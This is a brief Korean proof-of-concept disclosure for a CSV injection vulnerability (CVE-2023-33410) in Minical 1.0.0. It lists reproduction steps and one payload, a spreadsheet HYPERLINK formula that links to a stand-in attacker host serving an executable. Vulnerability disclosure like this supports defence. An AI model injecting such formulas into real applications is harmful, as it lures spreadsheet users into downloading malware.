thirukrishnan/cve-2023-33410Minical 1.0.0에서 CSV 인젝션 취약점을 보여주는 개념 증명으로, 단계별 재현 절차와 페이로드 예제가 포함되어 있습니다.
Minical 1.0.0은 CSV 인젝션에 취약합니다.
공급업체: https://github.com/minical/minical
데모 애플리케이션: https://demo.minical.io/
1단계: Accounting 모듈로 이동하여 Create New Customer를 클릭합니다.
2단계: Name 필드에 페이로드를 입력하고 Create를 클릭합니다.
Payload: =HYPERLINK("<https://malicious.com/evilshell.exe>","ClickHere")
3단계: Download CSV Report를 클릭하고 페이로드가 렌더링되는 것을 확인합니다.
